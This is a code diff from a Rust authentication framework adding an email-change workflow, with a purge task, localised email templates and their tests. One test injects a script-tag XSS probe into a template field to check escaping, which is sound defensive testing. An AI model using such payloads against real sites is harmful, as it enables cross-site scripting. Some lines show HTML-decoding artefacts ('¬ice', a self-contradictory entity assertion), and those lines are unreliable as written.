| 1014 | + .unwrap(); | |
| 1015 | + assert_eq!( | |
| 1016 | + padded.email, email, | |
| 1017 | + "padded echo must not alter the stored email" | |
| 1018 | + ); | |
| 1019 | + assert!( | |
| 1020 | + padded.email_verified, | |
| 1021 | + "padded echo must keep email_verified=true" | |
| 1022 | + ); | |
| 1023 | + assert!(padded.email_verified_at.is_some()); | |
| 1024 | + | |
| 1025 | + assert!( | |
| 1026 | + queue_entries_for(&db, &email).await.is_empty(), | |
| 1027 | + "no email must be queued on a no-op echo" | |
| 1028 | + ); | |
| 1029 | + | |
| 1030 | + padded.delete(&db).await.unwrap(); | |
| 1031 | + } | |
| 1032 | + | |
| 1033 | + /// Non-regression: the signature is unchanged by RFC 0041, so consumer | |
| 1034 | + /// code keeps compiling. All four call shapes are exercised, the two | |
| 1035 | + /// carrying an email echoing the current address. | |
| 1036 | + #[tokio::test] | |
| 1037 | + async fn update_profile_accepts_the_four_pre_rfc_call_shapes() { | |
| 1038 | + let db = test_db().await; | |
| 1039 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 1040 | + let (user_model, email) = create_verified_user(&db, "emailsig").await; | |
| 1041 | + | |
| 1042 | + // (None, None): nothing to do. | |
| 1043 | + let untouched = UserService::update_profile(&db, user_model.id, None, None) | |
| 1044 | + .await | |
| 1045 | + .unwrap(); | |
| 1046 | + assert_eq!(untouched.username, user_model.username); | |
| 1047 | + | |
| 1048 | + // (None, Some(current)): no-op echo. | |
| 1049 | + UserService::update_profile(&db, user_model.id, None, Some(email.clone())) | |
| 1050 | + .await | |
| 1051 | + .unwrap(); | |
| 1052 | + | |
| 1053 | + // (Some, None): username-only rename. | |
| 1054 | + let renamed_name = format!("emailsig-r-{}", &unique[..8]); | |
| 1055 | + let renamed = | |
| 1056 | + UserService::update_profile(&db, user_model.id, Some(renamed_name.clone()), None) | |
| 1057 | + .await | |
| 1058 | + .unwrap(); | |
| 1059 | + assert_eq!(renamed.username, renamed_name); | |
| 1060 | + | |
| 1061 | + // (Some, Some(current)): rename with the email field echoed back. | |
| 1062 | + let renamed_again = format!("emailsig-r2-{}", &unique[..8]); | |
| 1063 | + let final_user = UserService::update_profile( | |
| 1064 | + &db, | |
| 1065 | + user_model.id, | |
| 1066 | + Some(renamed_again.clone()), | |
| 1067 | + Some(email.clone()), | |
| 1068 | + ) | |
| 1069 | + .await | |
| 1070 | + .unwrap(); | |
| 1071 | + assert_eq!(final_user.username, renamed_again); | |
| 1072 | + assert_eq!(final_user.email, email); | |
| 1073 | + assert!(final_user.email_verified); | |
| 1074 | + | |
| 1075 | + final_user.delete(&db).await.unwrap(); | |
| 1076 | + } | |
| 1077 | +} |
M
crates/rustwarden-core/src/tasks/mod.rs
+1
-0
@@ -6,4 +6,5 @@
| 6 | 6 | pub mod email_queue_processor; |
| 7 | 7 | pub mod password_change_cleanup; |
| 8 | 8 | pub mod password_change_email_retry; |
| 9 | +pub mod pending_email_change_cleanup; | |
| 9 | 10 | pub mod personal_token_cleanup; |
A
crates/rustwarden-core/src/tasks/pending_email_change_cleanup.rs
+216
-0
@@ -0,0 +1,216 @@
| 1 | +//! Pending email-change cleanup task (RFC 0041). | |
| 2 | +//! | |
| 3 | +//! Periodically hard-deletes `pending_email_changes` rows expired for longer | |
| 4 | +//! than the retention window. See | |
| 5 | +//! [`EmailChangeService::cleanup_expired`](crate::services::email_change_service::EmailChangeService::cleanup_expired) | |
| 6 | +//! for the exact predicate. | |
| 7 | + | |
| 8 | +use crate::services::email_change_service::EmailChangeService; | |
| 9 | +use sea_orm::DatabaseConnection; | |
| 10 | +use std::sync::Arc; | |
| 11 | +use tokio::time::Duration; | |
| 12 | + | |
| 13 | +/// Interval between two purge ticks, in seconds (1 h). | |
| 14 | +/// | |
| 15 | +/// A compile-time constant, unlike | |
| 16 | +/// [`PersonalTokenCleanupProcessor`](crate::tasks::personal_token_cleanup::PersonalTokenCleanupProcessor) | |
| 17 | +/// which reads `PERSONAL_TOKEN_CLEANUP_INTERVAL_SECS`: RFC 0041 adds no | |
| 18 | +/// environment variable, and the cadence of a 30-day-horizon purge has no | |
| 19 | +/// reason to be tuned finely. | |
| 20 | +pub const PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS: u64 = 3600; | |
| 21 | + | |
| 22 | +/// Background processor that hard-deletes `pending_email_changes` rows | |
| 23 | +/// expired for longer than the retention window. | |
| 24 | +/// | |
| 25 | +/// Mirrors [`PersonalTokenCleanupProcessor`](crate::tasks::personal_token_cleanup::PersonalTokenCleanupProcessor): | |
| 26 | +/// **the framework never starts it**. `app.rs` leaves it alone on purpose — | |
| 27 | +/// the consumer owns its scheduling policy and calls [`Self::start`] if it | |
| 28 | +/// wants the purge. Nothing breaks when it is never started: rows simply | |
| 29 | +/// accumulate, and the opportunistic purge performed by | |
| 30 | +/// [`EmailChangeService::request_change`](crate::services::email_change_service::EmailChangeService::request_change) | |
| 31 | +/// keeps the common case bounded. | |
| 32 | +/// | |
| 33 | +/// ```rust,ignore | |
| 34 | +/// use std::sync::Arc; | |
| 35 | +/// use rustwarden_core::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor; | |
| 36 | +/// | |
| 37 | +/// // The framework does NOT do this for you — call `.start()` yourself. | |
| 38 | +/// PendingEmailChangeCleanupProcessor::new(db.clone()).start(); | |
| 39 | +/// ``` | |
| 40 | +pub struct PendingEmailChangeCleanupProcessor { | |
| 41 | + db: Arc<DatabaseConnection>, | |
| 42 | +} | |
| 43 | + | |
| 44 | +impl PendingEmailChangeCleanupProcessor { | |
| 45 | + /// Create a processor bound to the given database connection. | |
| 46 | + /// | |
| 47 | + /// ```rust,ignore | |
| 48 | + /// use std::sync::Arc; | |
| 49 | + /// use rustwarden_core::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor; | |
| 50 | + /// | |
| 51 | + /// let processor = PendingEmailChangeCleanupProcessor::new(Arc::clone(&db)); | |
| 52 | + /// ``` | |
| 53 | + pub fn new(db: Arc<DatabaseConnection>) -> Self { | |
| 54 | + Self { db } | |
| 55 | + } | |
| 56 | + | |
| 57 | + /// Spawn the cleanup loop. First tick fires immediately (to purge stale | |
| 58 | + /// rows on process start), then every | |
| 59 | + /// [`PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS`]. | |
| 60 | + /// | |
| 61 | + /// ```rust,ignore | |
| 62 | + /// use std::sync::Arc; | |
| 63 | + /// use rustwarden_core::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor; | |
| 64 | + /// | |
| 65 | + /// PendingEmailChangeCleanupProcessor::new(Arc::clone(&db)).start(); | |
| 66 | + /// ``` | |
| 67 | + pub fn start(self) { | |
| 68 | + tokio::spawn(async move { | |
| 69 | + let mut ticker = tokio::time::interval(Duration::from_secs( | |
| 70 | + PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS, | |
| 71 | + )); | |
| 72 | + ticker.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); | |
| 73 | + loop { | |
| 74 | + ticker.tick().await; | |
| 75 | + match EmailChangeService::cleanup_expired(&self.db).await { | |
| 76 | + Ok(0) => {} | |
| 77 | + Ok(n) => tracing::info!( | |
| 78 | + "pending email-change cleanup: deleted {} stale request(s)", | |
| 79 | + n | |
| 80 | + ), | |
| 81 | + Err(e) => tracing::error!("pending email-change cleanup failed: {}", e), | |
| 82 | + } | |
| 83 | + } | |
| 84 | + }); | |
| 85 | + } | |
| 86 | +} | |
| 87 | + | |
| 88 | +#[cfg(test)] | |
| 89 | +mod tests { | |
| 90 | + use super::*; | |
| 91 | + use crate::models::{pending_email_change, user}; | |
| 92 | + use crate::services::email_change_service::{ | |
| 93 | + PENDING_EMAIL_CHANGE_RETENTION_DAYS, RETENTION_GUARD, | |
| 94 | + }; | |
| 95 | + use chrono::Utc; | |
| 96 | + use sea_orm::{ActiveModelTrait, EntityTrait, Set}; | |
| 97 | + use uuid::Uuid; | |
| 98 | + | |
| 99 | + async fn test_db() -> DatabaseConnection { | |
| 100 | + dotenvy::dotenv().ok(); | |
| 101 | + let url = std::env::var("DATABASE_URL") | |
| 102 | + .expect("DATABASE_URL required for pending_email_change_cleanup tests"); | |
| 103 | + sea_orm::Database::connect(&url) | |
| 104 | + .await | |
| 105 | + .expect("connect to the test database") | |
| 106 | + } | |
| 107 | + | |
| 108 | + /// Insert a row already past the retention window, bypassing the service: | |
| 109 | + /// this test is about the processor, not about how the row was born. | |
| 110 | + async fn stale_row(db: &DatabaseConnection, user_id: Uuid) -> Uuid { | |
| 111 | + let id = Uuid::new_v4(); | |
| 112 | + let now = Utc::now(); | |
| 113 | + pending_email_change::ActiveModel { | |
| 114 | + id: Set(id), | |
| 115 | + user_id: Set(user_id), | |
| 116 | + new_email: Set(format!("stale-{}@example.test", Uuid::new_v4().simple())), | |
| 117 | + token_hash: Set(format!("{:064x}", Uuid::new_v4().as_u128())), | |
| 118 | + report_token_hash: Set(format!("{:064x}", Uuid::new_v4().as_u128())), | |
| 119 | + expires_at: Set(now - chrono::Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS + 1)), | |
| 120 | + used_at: sea_orm::NotSet, | |
| 121 | + reported_at: sea_orm::NotSet, | |
| 122 | + created_at: Set(now - chrono::Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS + 2)), | |
| 123 | + } | |
| 124 | + .insert(db) | |
| 125 | + .await | |
| 126 | + .expect("insert a stale row"); | |
| 127 | + id | |
| 128 | + } | |
| 129 | + | |
| 130 | + async fn row_exists(db: &DatabaseConnection, id: Uuid) -> bool { | |
| 131 | + pending_email_change::Entity::find_by_id(id) | |
| 132 | + .one(db) | |
| 133 | + .await | |
| 134 | + .expect("query pending_email_changes") | |
| 135 | + .is_some() | |
| 136 | + } | |
| 137 | + | |
| 138 | + /// Own the fixture rather than borrowing an existing account: the purge | |
| 139 | + /// is global, so a test that leans on someone else's row is a test that | |
| 140 | + /// depends on what the database happens to contain. | |
| 141 | + async fn throwaway_user(db: &DatabaseConnection) -> Uuid { | |
| 142 | + let id = Uuid::new_v4(); | |
| 143 | + let tag = Uuid::new_v4().simple().to_string(); | |
| 144 | + let now = Utc::now(); | |
| 145 | + user::ActiveModel { | |
| 146 | + id: Set(id), | |
| 147 | + username: Set(format!("cleanup-{tag}")), | |
| 148 | + email: Set(format!("cleanup-{tag}@example.test")), | |
| 149 | + password_hash: Set( | |
| 150 | + "$2b$12$notarealhashnotarealhashnotarealhashnotarealhashnotar".to_string(), | |
| 151 | + ), | |
| 152 | + must_change_password: Set(false), | |
| 153 | + email_verified: Set(true), | |
| 154 | + email_verified_at: Set(Some(now)), | |
| 155 | + created_at: Set(now), | |
| 156 | + updated_at: Set(now), | |
| 157 | + ap_discoverable: Set(true), | |
| 158 | + ..Default::default() | |
| 159 | + } | |
| 160 | + .insert(db) | |
| 161 | + .await | |
| 162 | + .expect("insert a throwaway user"); | |
| 163 | + id | |
| 164 | + } | |
| 165 | + | |
| 166 | + /// The first tick fires immediately, so a process that starts after a long | |
| 167 | + /// downtime purges on boot instead of waiting an hour. | |
| 168 | + #[tokio::test] | |
| 169 | + async fn the_first_tick_purges_without_waiting_for_the_interval() { | |
| 170 | + let _serialised = RETENTION_GUARD.lock().await; | |
| 171 | + let db = test_db().await; | |
| 172 | + let user_id = throwaway_user(&db).await; | |
| 173 | + let id = stale_row(&db, user_id).await; | |
| 174 | + | |
| 175 | + PendingEmailChangeCleanupProcessor::new(Arc::new(db.clone())).start(); | |
| 176 | + | |
| 177 | + // Poll rather than sleep a fixed amount: the first tick is immediate, | |
| 178 | + // only the round-trip to PostgreSQL takes a measurable moment. | |
| 179 | + let mut purged = false; | |
| 180 | + for _ in 0..50 { | |
| 181 | + if !row_exists(&db, id).await { | |
| 182 | + purged = true; | |
| 183 | + break; | |
| 184 | + } | |
| 185 | + tokio::time::sleep(Duration::from_millis(40)).await; | |
| 186 | + } | |
| 187 | + | |
| 188 | + assert!( | |
| 189 | + purged, | |
| 190 | + "the processor's first tick must delete rows past retention" | |
| 191 | + ); | |
| 192 | + | |
| 193 | + // The FK cascades, so removing the user removes any leftover row. | |
| 194 | + user::Entity::delete_by_id(user_id) | |
| 195 | + .exec(&db) | |
| 196 | + .await | |
| 197 | + .expect("drop the throwaway user"); | |
| 198 | + } | |
| 199 | + | |
| 200 | + /// The framework must never schedule this purge on the consumer's behalf: | |
| 201 | + /// deciding when personal data leaves the database is the consumer's call, | |
| 202 | + /// and an auto-started task would silently take that decision away. Source | |
| 203 | + /// inspection rather than behaviour, because `start_background_tasks` | |
| 204 | + /// spawns detached tasks whose absence cannot be observed from the outside | |
| 205 | + /// (same approach as `auth::email_change_pages`). | |
| 206 | + #[test] | |
| 207 | + fn start_background_tasks_does_not_start_the_purge() { | |
| 208 | + let app_source = include_str!("../app.rs"); | |
| 209 | + assert!( | |
| 210 | + !app_source.contains("PendingEmailChangeCleanupProcessor"), | |
| 211 | + "app.rs must not start the purge: RFC 0041 leaves the retention \ | |
| 212 | + policy to the consumer (see the processor's rustdoc and \ | |
| 213 | + MIGRATION_GUIDE.md)" | |
| 214 | + ); | |
| 215 | + } | |
| 216 | +} |
M
crates/rustwarden-core/src/templates/email_templates.rs
+366
-0
@@ -1308,3 +1308,369 @@ mod welcome_email_template_tests {
| 1308 | 1308 | assert!(text.contains("https://example.com/login")); |
| 1309 | 1309 | } |
| 1310 | 1310 | } |
| 1311 | + | |
| 1312 | +// ── Email change (RFC 0041) ───────────────────────────────────────────────── | |
| 1313 | +// | |
| 1314 | +// Unlike the older templates above, these four carry **already translated** | |
| 1315 | +// fields: the service resolves every string through `I18nService` (or its | |
| 1316 | +// embedded fallbacks) before building the struct. Six locales are therefore | |
| 1317 | +// supported without a single `{% if locale == … %}` branch, and a headless | |
| 1318 | +// consumer without any locale file still gets a complete email. | |
| 1319 | + | |
| 1320 | +/// Confirmation email sent to the **candidate** address (RFC 0041). | |
| 1321 | +/// | |
| 1322 | +/// Carries the only link that can apply the change. All textual fields are | |
| 1323 | +/// pre-translated by [`EmailChangeService`](crate::services::email_change_service::EmailChangeService). | |
| 1324 | +#[derive(Template)] | |
| 1325 | +#[template(path = "emails/email_change_validation.html", escape = "html")] | |
| 1326 | +pub struct EmailChangeValidationTemplate { | |
| 1327 | + /// Recipient locale, emitted as the document `lang` attribute. | |
| 1328 | + pub locale: String, | |
| 1329 | + /// Application name shown in the header and footer. | |
| 1330 | + pub app_name: String, | |
| 1331 | + /// Translated subject/title. | |
| 1332 | + pub title: String, | |
| 1333 | + /// Translated greeting line. | |
| 1334 | + pub greeting: String, | |
| 1335 | + /// Translated introduction explaining the pending request. | |
| 1336 | + pub intro: String, | |
| 1337 | + /// Translated validity notice. | |
| 1338 | + pub expires: String, | |
| 1339 | + /// Translated "ignore this message" notice. | |
| 1340 | + pub ignore_notice: String, | |
| 1341 | + /// Translated call-to-action label. | |
| 1342 | + pub button_label: String, | |
| 1343 | + /// Absolute URL of the confirmation page (`GET` interstitial). | |
| 1344 | + pub confirm_url: String, | |
| 1345 | + /// Translated "button not working?" label. | |
| 1346 | + pub fallback_label: String, | |
| 1347 | + /// Translated footer line. | |
| 1348 | + pub footer: String, | |
| 1349 | + /// Current year for the copyright line. | |
| 1350 | + pub current_year: i32, | |
| 1351 | +} | |
| 1352 | + | |
| 1353 | +impl EmailChangeValidationTemplate { | |
| 1354 | + /// Render the HTML body. | |
| 1355 | + /// | |
| 1356 | + /// # Errors | |
| 1357 | + /// | |
| 1358 | + /// Returns an error if template rendering fails. | |
| 1359 | + pub fn render_html(&self) -> Result<String, askama::Error> { | |
| 1360 | + self.render() | |
| 1361 | + } | |
| 1362 | + | |
| 1363 | + /// Render the plain-text body from the same pre-translated fields. | |
| 1364 | + pub fn render_text(&self) -> String { | |
| 1365 | + format!( | |
| 1366 | + "{}\n\n{}\n\n{}\n\n{}\n{}\n\n{}\n{}\n\n{}\n© {} {}\n", | |
| 1367 | + self.title, | |
| 1368 | + self.greeting, | |
| 1369 | + self.intro, | |
| 1370 | + self.button_label, | |
| 1371 | + self.confirm_url, | |
| 1372 | + self.expires, | |
| 1373 | + self.ignore_notice, | |
| 1374 | + self.footer, | |
| 1375 | + self.current_year, | |
| 1376 | + self.app_name, | |
| 1377 | + ) | |
| 1378 | + } | |
| 1379 | +} | |
| 1380 | + | |
| 1381 | +/// Notice sent to the **current** address when a change is requested (RFC 0041). | |
| 1382 | +/// | |
| 1383 | +/// Never carries the confirmation link: the only link here opens the report | |
| 1384 | +/// page. The candidate address appears masked. | |
| 1385 | +#[derive(Template)] | |
| 1386 | +#[template(path = "emails/email_change_notice.html", escape = "html")] | |
| 1387 | +pub struct EmailChangeNoticeTemplate { | |
| 1388 | + /// Recipient locale, emitted as the document `lang` attribute. | |
| 1389 | + pub locale: String, | |
| 1390 | + /// Application name shown in the header and footer. | |
| 1391 | + pub app_name: String, | |
| 1392 | + /// Translated subject/title. | |
| 1393 | + pub title: String, | |
| 1394 | + /// Translated greeting line. | |
| 1395 | + pub greeting: String, | |
| 1396 | + /// Translated introduction, carrying the **masked** candidate address. | |
| 1397 | + pub intro: String, | |
| 1398 | + /// Translated reminder that the account itself has not changed. | |
| 1399 | + pub unchanged: String, | |
| 1400 | + /// Translated invitation to report the request. | |
| 1401 | + pub report_intro: String, | |
| 1402 | + /// Translated call-to-action label. | |
| 1403 | + pub button_label: String, | |
| 1404 | + /// Absolute URL of the report page (`GET` interstitial). | |
| 1405 | + pub report_url: String, | |
| 1406 | + /// Translated "button not working?" label. | |
| 1407 | + pub fallback_label: String, | |
| 1408 | + /// Translated footer line. | |
| 1409 | + pub footer: String, | |
| 1410 | + /// Current year for the copyright line. | |
| 1411 | + pub current_year: i32, | |
| 1412 | +} | |
| 1413 | + | |
| 1414 | +impl EmailChangeNoticeTemplate { | |
| 1415 | + /// Render the HTML body. | |
| 1416 | + /// | |
| 1417 | + /// # Errors | |
| 1418 | + /// | |
| 1419 | + /// Returns an error if template rendering fails. | |
| 1420 | + pub fn render_html(&self) -> Result<String, askama::Error> { | |
| 1421 | + self.render() | |
| 1422 | + } | |
| 1423 | + | |
| 1424 | + /// Render the plain-text body from the same pre-translated fields. | |
| 1425 | + pub fn render_text(&self) -> String { | |
| 1426 | + format!( | |
| 1427 | + "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n{}\n\n{}\n© {} {}\n", | |
| 1428 | + self.title, | |
| 1429 | + self.greeting, | |
| 1430 | + self.intro, | |
| 1431 | + self.unchanged, | |
| 1432 | + self.report_intro, | |
| 1433 | + self.button_label, | |
| 1434 | + self.report_url, | |
| 1435 | + self.footer, | |
| 1436 | + self.current_year, | |
| 1437 | + self.app_name, | |
| 1438 | + ) | |
| 1439 | + } | |
| 1440 | +} | |
| 1441 | + | |
| 1442 | +/// Alert sent to every administrator when a user reports a request (RFC 0041). | |
| 1443 | +/// | |
| 1444 | +/// Both addresses are masked: the durable trail lives in `audit_logs`, an | |
| 1445 | +/// operator mailbox does not need the clear-text values. | |
| 1446 | +#[derive(Template)] | |
| 1447 | +#[template(path = "emails/email_change_reported_admin.html", escape = "html")] | |
| 1448 | +pub struct EmailChangeReportedAdminTemplate { | |
| 1449 | + /// Recipient locale, emitted as the document `lang` attribute. | |
| 1450 | + pub locale: String, | |
| 1451 | + /// Application name shown in the header and footer. | |
| 1452 | + pub app_name: String, | |
| 1453 | + /// Translated subject/title. | |
| 1454 | + pub title: String, | |
| 1455 | + /// Translated introduction naming the reporting user. | |
| 1456 | + pub intro: String, | |
| 1457 | + /// Translated details line: masked addresses and report timestamp. | |
| 1458 | + pub details: String, | |
| 1459 | + /// Translated reminder that the change is **not** blocked by the report. | |
| 1460 | + pub not_blocked: String, | |
| 1461 | + /// Translated footer line. | |
| 1462 | + pub footer: String, | |
| 1463 | + /// Current year for the copyright line. | |
| 1464 | + pub current_year: i32, | |
| 1465 | +} | |
| 1466 | + | |
| 1467 | +impl EmailChangeReportedAdminTemplate { | |
| 1468 | + /// Render the HTML body. | |
| 1469 | + /// | |
| 1470 | + /// # Errors | |
| 1471 | + /// | |
| 1472 | + /// Returns an error if template rendering fails. | |
| 1473 | + pub fn render_html(&self) -> Result<String, askama::Error> { | |
| 1474 | + self.render() | |
| 1475 | + } | |
| 1476 | + | |
| 1477 | + /// Render the plain-text body from the same pre-translated fields. | |
| 1478 | + pub fn render_text(&self) -> String { | |
| 1479 | + format!( | |
| 1480 | + "{}\n\n{}\n\n{}\n\n{}\n\n{}\n© {} {}\n", | |
| 1481 | + self.title, | |
| 1482 | + self.intro, | |
| 1483 | + self.details, | |
| 1484 | + self.not_blocked, | |
| 1485 | + self.footer, | |
| 1486 | + self.current_year, | |
| 1487 | + self.app_name, | |
| 1488 | + ) | |
| 1489 | + } | |
| 1490 | +} | |
| 1491 | + | |
| 1492 | +/// Notification of an operator-forced change (RFC 0041). | |
| 1493 | +/// | |
| 1494 | +/// Sent to **both** the previous and the new address by | |
| 1495 | +/// [`EmailChangeService::admin_force_change`](crate::services::email_change_service::EmailChangeService::admin_force_change). | |
| 1496 | +/// Carries no action link: there is nothing left to confirm or report. | |
| 1497 | +#[derive(Template)] | |
| 1498 | +#[template(path = "emails/email_change_by_admin.html", escape = "html")] | |
| 1499 | +pub struct EmailChangeByAdminTemplate { | |
| 1500 | + /// Recipient locale, emitted as the document `lang` attribute. | |
| 1501 | + pub locale: String, | |
| 1502 | + /// Application name shown in the header and footer. | |
| 1503 | + pub app_name: String, | |
| 1504 | + /// Translated subject/title. | |
| 1505 | + pub title: String, | |
| 1506 | + /// Translated greeting line. | |
| 1507 | + pub greeting: String, | |
| 1508 | + /// Translated introduction stating an administrator made the change. | |
| 1509 | + pub intro: String, | |
| 1510 | + /// Translated details line with both **masked** addresses. | |
| 1511 | + pub details: String, | |
| 1512 | + /// Translated support notice. | |
| 1513 | + pub support: String, | |
| 1514 | + /// Translated footer line. | |
| 1515 | + pub footer: String, | |
| 1516 | + /// Current year for the copyright line. | |
| 1517 | + pub current_year: i32, | |
| 1518 | +} | |
| 1519 | + | |
| 1520 | +impl EmailChangeByAdminTemplate { | |
| 1521 | + /// Render the HTML body. | |
| 1522 | + /// | |
| 1523 | + /// # Errors | |
| 1524 | + /// | |
| 1525 | + /// Returns an error if template rendering fails. | |
| 1526 | + pub fn render_html(&self) -> Result<String, askama::Error> { | |
| 1527 | + self.render() | |
| 1528 | + } | |
| 1529 | + | |
| 1530 | + /// Render the plain-text body from the same pre-translated fields. | |
| 1531 | + pub fn render_text(&self) -> String { | |
| 1532 | + format!( | |
| 1533 | + "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n© {} {}\n", | |
| 1534 | + self.title, | |
| 1535 | + self.greeting, | |
| 1536 | + self.intro, | |
| 1537 | + self.details, | |
| 1538 | + self.support, | |
| 1539 | + self.footer, | |
| 1540 | + self.current_year, | |
| 1541 | + self.app_name, | |
| 1542 | + ) | |
| 1543 | + } | |
| 1544 | +} | |
| 1545 | + | |
| 1546 | +#[cfg(test)] | |
| 1547 | +mod email_change_template_tests { | |
| 1548 | + use super::*; | |
| 1549 | + | |
| 1550 | + /// The six locales shipped with the framework. | |
| 1551 | + const LOCALES: [&str; 6] = ["de", "en", "es", "fr", "it", "pt"]; | |
| 1552 | + | |
| 1553 | + fn validation(locale: &str) -> EmailChangeValidationTemplate { | |
| 1554 | + EmailChangeValidationTemplate { | |
| 1555 | + locale: locale.to_string(), | |
| 1556 | + app_name: "Rustwarden".to_string(), | |
| 1557 | + title: "Confirm your new email address".to_string(), | |
| 1558 | + greeting: "Hello alice,".to_string(), | |
| 1559 | + intro: "A request was opened.".to_string(), | |
| 1560 | + expires: "Valid for 24 hour(s).".to_string(), | |
| 1561 | + ignore_notice: "Ignore this message if you did not ask.".to_string(), | |
| 1562 | + button_label: "Open the confirmation page".to_string(), | |
| 1563 | + confirm_url: "https://example.test/api/v1/auth/email-change/confirm/abc".to_string(), | |
| 1564 | + fallback_label: "Button not working?".to_string(), | |
| 1565 | + footer: "Sent automatically.".to_string(), | |
| 1566 | + current_year: 2026, | |
| 1567 | + } | |
| 1568 | + } | |
| 1569 | + | |
| 1570 | + fn notice(locale: &str) -> EmailChangeNoticeTemplate { | |
| 1571 | + EmailChangeNoticeTemplate { | |
| 1572 | + locale: locale.to_string(), | |
| 1573 | + app_name: "Rustwarden".to_string(), | |
| 1574 | + title: "Email-change request".to_string(), | |
| 1575 | + greeting: "Hello alice,".to_string(), | |
| 1576 | + intro: "A request to move your account to ne***@ex***.test was opened.".to_string(), | |
| 1577 | + unchanged: "Your account has NOT changed.".to_string(), | |
| 1578 | + report_intro: "Alert the administrators if this is not you.".to_string(), | |
| 1579 | + button_label: "Open the report page".to_string(), | |
| 1580 | + report_url: "https://example.test/api/v1/auth/email-change/report/xyz".to_string(), | |
| 1581 | + fallback_label: "Button not working?".to_string(), | |
| 1582 | + footer: "Sent automatically.".to_string(), | |
| 1583 | + current_year: 2026, | |
| 1584 | + } | |
| 1585 | + } | |
| 1586 | + | |
| 1587 | + fn reported_admin(locale: &str) -> EmailChangeReportedAdminTemplate { | |
| 1588 | + EmailChangeReportedAdminTemplate { | |
| 1589 | + locale: locale.to_string(), | |
| 1590 | + app_name: "Rustwarden".to_string(), | |
| 1591 | + title: "Email change reported".to_string(), | |
| 1592 | + intro: "User alice reported a request.".to_string(), | |
| 1593 | + details: "Current: al***@ex***.test — requested: ne***@ex***.test.".to_string(), | |
| 1594 | + not_blocked: "The change is NOT blocked.".to_string(), | |
| 1595 | + footer: "Sent automatically.".to_string(), | |
| 1596 | + current_year: 2026, | |
| 1597 | + } | |
| 1598 | + } | |
| 1599 | + | |
| 1600 | + fn by_admin(locale: &str) -> EmailChangeByAdminTemplate { | |
| 1601 | + EmailChangeByAdminTemplate { | |
| 1602 | + locale: locale.to_string(), | |
| 1603 | + app_name: "Rustwarden".to_string(), | |
| 1604 | + title: "Email address changed by an administrator".to_string(), | |
| 1605 | + greeting: "Hello alice,".to_string(), | |
| 1606 | + intro: "An administrator changed your address.".to_string(), | |
| 1607 | + details: "Previous: al***@ex***.test — new: ne***@ex***.test.".to_string(), | |
| 1608 | + support: "Nothing to confirm on your side.".to_string(), | |
| 1609 | + footer: "Sent automatically.".to_string(), | |
| 1610 | + current_year: 2026, | |
| 1611 | + } | |
| 1612 | + } | |
| 1613 | + | |
| 1614 | + #[test] | |
| 1615 | + fn the_four_templates_render_in_every_locale() { | |
| 1616 | + for locale in LOCALES { | |
| 1617 | + let html = validation(locale).render_html().unwrap(); | |
| 1618 | + assert!(html.contains(&format!("lang=\"{locale}\""))); | |
| 1619 | + assert!(!validation(locale).render_text().is_empty()); | |
| 1620 | + | |
| 1621 | + let html = notice(locale).render_html().unwrap(); | |
| 1622 | + assert!(html.contains(&format!("lang=\"{locale}\""))); | |
| 1623 | + assert!(!notice(locale).render_text().is_empty()); | |
| 1624 | + | |
| 1625 | + let html = reported_admin(locale).render_html().unwrap(); | |
| 1626 | + assert!(html.contains(&format!("lang=\"{locale}\""))); | |
| 1627 | + assert!(!reported_admin(locale).render_text().is_empty()); | |
| 1628 | + | |
| 1629 | + let html = by_admin(locale).render_html().unwrap(); | |
| 1630 | + assert!(html.contains(&format!("lang=\"{locale}\""))); | |
| 1631 | + assert!(!by_admin(locale).render_text().is_empty()); | |
| 1632 | + } | |
| 1633 | + } | |
| 1634 | + | |
| 1635 | + /// The whole point of the two-mail design: the address that still owns the | |
| 1636 | + /// account is told what is happening, but is never handed the secret that | |
| 1637 | + /// would apply the change. | |
| 1638 | + #[test] | |
| 1639 | + fn only_the_candidate_address_ever_receives_the_confirmation_link() { | |
| 1640 | + let notice_html = notice("en").render_html().unwrap(); | |
| 1641 | + let notice_text = notice("en").render_text(); | |
| 1642 | + for body in [¬ice_html, ¬ice_text] { | |
| 1643 | + assert!( | |
| 1644 | + !body.contains("email-change/confirm/"), | |
| 1645 | + "the notice sent to the current address must not carry the confirmation link" | |
| 1646 | + ); | |
| 1647 | + assert!(body.contains("email-change/report/")); | |
| 1648 | + } | |
| 1649 | + | |
| 1650 | + let validation_html = validation("en").render_html().unwrap(); | |
| 1651 | + assert!(validation_html.contains("email-change/confirm/")); | |
| 1652 | + assert!(!validation_html.contains("email-change/report/")); | |
| 1653 | + } | |
| 1654 | + | |
| 1655 | + /// An operator-driven change is already done when the mail goes out: a link | |
| 1656 | + /// in it could only mislead its reader into thinking something is pending. | |
| 1657 | + #[test] | |
| 1658 | + fn the_admin_notification_carries_no_actionable_link() { | |
| 1659 | + let html = by_admin("en").render_html().unwrap(); | |
| 1660 | + assert!(!html.contains("email-change/confirm/")); | |
| 1661 | + assert!(!html.contains("email-change/report/")); | |
| 1662 | + assert!(!by_admin("en").render_text().contains("email-change/")); | |
| 1663 | + } | |
| 1664 | + | |
| 1665 | + /// Fields are pre-translated by the service, so a hostile display name | |
| 1666 | + /// reaching a translation placeholder must not become markup. | |
| 1667 | + #[test] | |
| 1668 | + fn pre_translated_fields_are_escaped() { | |
| 1669 | + let mut template = validation("en"); | |
| 1670 | + template.greeting = "Hello <script>alert(1)</script>,".to_string(); | |
| 1671 | + let html = template.render_html().unwrap(); | |
| 1672 | + assert!(!html.contains("<script>alert(1)</script>")); | |
| 1673 | + // Askama emits numeric entities (`<`), not named ones. | |
| 1674 | + assert!(html.contains("<script>")); | |
| 1675 | + } | |
| 1676 | +} |
M
crates/rustwarden-core/src/types/mod.rs
+2
-0
@@ -5,5 +5,7 @@
| 5 | 5 | //! services. |
| 6 | 6 | |
| 7 | 7 | pub mod team_slug; |
| 8 | +pub mod username; | |
| 8 | 9 | |
| 9 | 10 | pub use team_slug::TeamSlug; |
